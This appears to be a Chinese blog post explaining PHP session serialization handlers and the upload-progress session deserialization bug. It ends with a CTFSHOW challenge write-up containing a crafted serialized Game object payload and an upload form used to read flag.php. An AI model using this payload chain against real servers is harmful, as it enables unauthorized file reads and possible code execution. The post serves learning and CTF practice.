PHPsession反序列化

文章摘要

Bpple-GPT

PHP session 反序列化


PHP session

PHP Session 是一种用于在服务器端存储用户特定信息的机制,使得这些信息可以在用户访问网站的不同页面时持续可用。Session 通常用于跟踪用户的状态,比如用户的登录状态、购物车内容、偏好设置等。

PHP Session 的工作原理

  1. Session 的启动

    • 当用户第一次访问网站时,PHP 会自动创建一个唯一的 Session ID(通常是一个长字符串)。
    • 这个 Session ID 会被发送到用户的浏览器,通常通过 Cookie 存储。

    就是当禁用cookie的时候,php也可以自动将 session id添加到url参数中以及 formhidden字段中

  2. Session 数据的存储

    • 服务器端会创建一个与 Session ID 关联的文件(或存储在内存、数据库中),用于保存用户的 Session 数据。
    • 这些数据可以是任何 PHP 变量,比如数组、字符串、对象等。
  3. Session 的传递

    • 当用户访问其他页面时,浏览器会将 Session ID 发送回服务器。
    • 服务器根据 Session ID 找到对应的 Session 数据,并将其加载到当前页面的脚本中。
  4. Session 的销毁

    • 当用户关闭浏览器或 Session 过期时,Session 数据会被销毁。
    • 也可以通过 PHP 代码手动销毁 Session。

我做了一个简单的实例

简单的示例

登录admin/123456之后

image-20250121165228981

Session ID 是用户的唯一标识,服务器通过它来关联用户的会话数据

可以看到PHPSEESIONID

Session ID 唯一标识了服务器上的一个用户会话。每个用户的会话都有一个独立的 Session ID,服务器通过这个 ID 来关联和存储该用户的会话数据(如 $_SESSION 数组中的数据)。

每个用户有独立的 Session

  • 不同用户的 Session ID 是不同的,因此他们的会话数据也是独立的。
  • 例如:
    • **用户 A 的 Session ID 是 **abc123,对应的 Session 数据是 $_SESSION['username'] = 'Alice'
    • **用户 B 的 Session ID 是 **def456,对应的 Session 数据是 $_SESSION['username'] = 'Bob'

引擎:

引擎名称 存储格式
php 键名 + 竖线 + 经过 serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的****数组

例如:

 <?php
 session_start();
 $_SESSION['name'] = 'demo';
 ?>
 <?php
 error_reporting(0);
 ini_set('session.serialize_handler', 'php');
 //ini_set('session.serialize_handler','php_binary');
 //ini_set('session.serialize_handler','php_serialize');
 session_start();
 $_SESSION['session'] = $_GET['session'];
 
 // 打印当前 Session 数据
 echo "<pre>";
 print_r($_SESSION);
 echo "</pre>";
 ?>

**当 **session.serialize_handler=php 时,session文件内容为: name|s:7:"demo";

**当 **session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"demo";}

**当 **session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"demo";

了解几个参数

参数 含义
session.save_handler session保存形式。默认为files
session.save_path session保存路径。
session.serialize_handler session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

攻击

这个是当时ryat提出的

 <form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”>
     <input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” />
     <input type =“ file” name =“ file” />
     <input type =“ submit” />
 </ form>

文件上传进度跟踪

  • **PHP 提供了一个功能来跟踪文件上传的进度,通过 **$_SESSION["upload_progress_<name>"] 存储上传进度信息。

  • **这个功能需要在表单中包含一个隐藏字段 **PHP_SESSION_UPLOAD_PROGRESS,例如:

     <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" />
    

    运行 HTML

  • **文件上传过程中,PHP 会自动将上传进度信息存储到 **$_SESSION["upload_progress_ryat"] 中。

BUG 原理

1. 攻击者构造恶意请求

  • **攻击者通过表单上传文件,并在 **PHP_SESSION_UPLOAD_PROGRESS 字段中注入恶意数据。

2. Session 数据注入

  • **文件上传过程中,PHP 会将上传进度信息存储到 **$_SESSION["upload_progress_ryat"] 中。
  • **由于 **PHP_SESSION_UPLOAD_PROGRESS 的值被恶意构造,PHP 在反序列化时会将其解析为 Session 数据。
  • **如果 **session.serialize_handler 配置不一致,攻击者可以注入任意 Session 数据。

3. 结果

  • **攻击者成功将恶意数据注入到 **$_SESSION 中,可能导致:
    • 覆盖现有 Session 数据。
    • 执行任意代码(如果 Session 数据被反序列化为对象)。

CTFSHOW-石头剪刀布

PHP session反序列化

题目提示: hint:我为啥要ini_set来着 hint2:php.ini配置的稀烂

进入题目,题目说连着赢100回合才能得到flag

image-20250121141634933

点击可以看到可以查看源代码

image-20250121141920391

PHPINFO界面

image-20250121141835906

结合题目提示,和源代码分析,此题应该是PHP session反序列化

利用Game类的

         public function __destruct(){
                 echo "<h5>Game History</h5>\n";
         echo "<div class='all_output'>\n";
                 echo file_get_contents($this->log);
         echo "</div>";
         }

构造

 <?php
 class Game{
     public $log;
 
     public function __construct(){
         $this->log = '/var/www/html/flag.php';
     }
 
 }
 
 $a = new Game();
 echo serialize($a);
 ?>

得到的结果前面添加一个管道符号

 |O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}

在服务器php_serialize处理下存储该序列化串,管道符只是一个普通的字符存放在属性值里。

而后在读取中又经过了php配置处理,这时候管道符就成了分割键名和键值的分割线了。管道符后面的内容也就被成功的反序列化了,成功达到读取flag的目的。

最后利用

一个提交页面,我们抓包利用

image-20250121142408509

 <!doctype html>
 <html>
 <body>
 <form action="http://793869b1-2080-446e-9066-25f43d926b25.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
     <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
  <input type="file" name="file" />
     <input type="submit" />
 </form>
 </body>
 </html>

修改文件名为刚才我们构造的那个结果

image-20250121142425130

得到结果

参考文章:


用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

isfp 探险家

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

65 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

551
Hello Halo

2024-10-30

532
本地部署LLM

2024-08-22

511
Uptime Kuma

2024-11-29

507
241

访问统计